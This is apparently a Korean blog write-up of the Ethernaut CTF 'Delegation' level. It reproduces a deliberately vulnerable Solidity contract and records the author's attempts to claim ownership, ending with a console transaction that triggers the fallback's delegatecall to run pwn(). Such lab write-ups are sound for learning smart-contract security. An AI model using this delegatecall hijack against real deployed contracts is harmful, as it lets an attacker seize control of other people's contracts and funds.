[Ethernaut CTF] Delegation

0xDave·2022년 10월 3일
0

Ethereum

목록 보기
27/112

(수정중)

소스코드


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

해결과제


The goal of this level is for you to claim ownership of the instance you are given.

  Things that might help

   -Look into Solidity's documentation on the delegatecall low level function, how it works, 
    how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
    
   -Fallback methods
   -Method ids

ownership 가져오기

해결과정


1. Delegatecall

Delegatecall의 개념은 다음과 같다.

현재 Delegation 컨트랙트가 Delegate 컨트랙트를 호출하고 있으니 우리는 Delegation 컨트랙트를 통해 pwn() 함수를 호출하면 ownership을 가져올 수 있지 않을까?

2. Fallback()

컨트랙트에 이더를 보낼 때 msg.data가 비어있거나, receive() 함수가 없을 때 fallback 함수가 실행된다.

첫 번째 시도

await contract.call(abi.encodeWithSignture("pwn()")) 

위 방법으로 pwn()을 호출하려 했지만 abi가 정의되지 않아서 fail.

Uncaught (in promise) ReferenceError: abi is not defined

두 번째 시도

컨트랙트를 만들어서 pwn() 함수를 호출했더니..이 컨트랙트가 owner가 되었다ㅋㅋㅋㅋ

세 번째 시도

그러면 컨트랙트를 통해 pwn() 함수를 호출하고 owner를 넘기는 함수를 만들면 되지 않을까?

하지만 실패..delegatecall을 하면 호출한 컨트랙트 안에서만 데이터가 바뀌어서 그런게 아닐까 싶다. 결국 콘솔에서 메소드를 호출하는 방향으로 바꿔야 할 것 같다.


네 번째 시도

await contract.sendTransaction({data: "pwn()"})

이런 식으로 시도해봤다.

data 입력칸이 HEX 값으로 encoded 되어야 한다는 친절한(?) 에러

web3.utils.toHex로 시도해봤지만 owner는 바뀌지 않았다.

web3.utils.keccak256으로 했더니 드디어 바뀌었다. 도대체 왜?


출처 및 참고자료


  1. [Solidity] call, delegateCall
  2. Sending Ether (transfer, send, call)
profile
Just BUIDL :)

0개의 댓글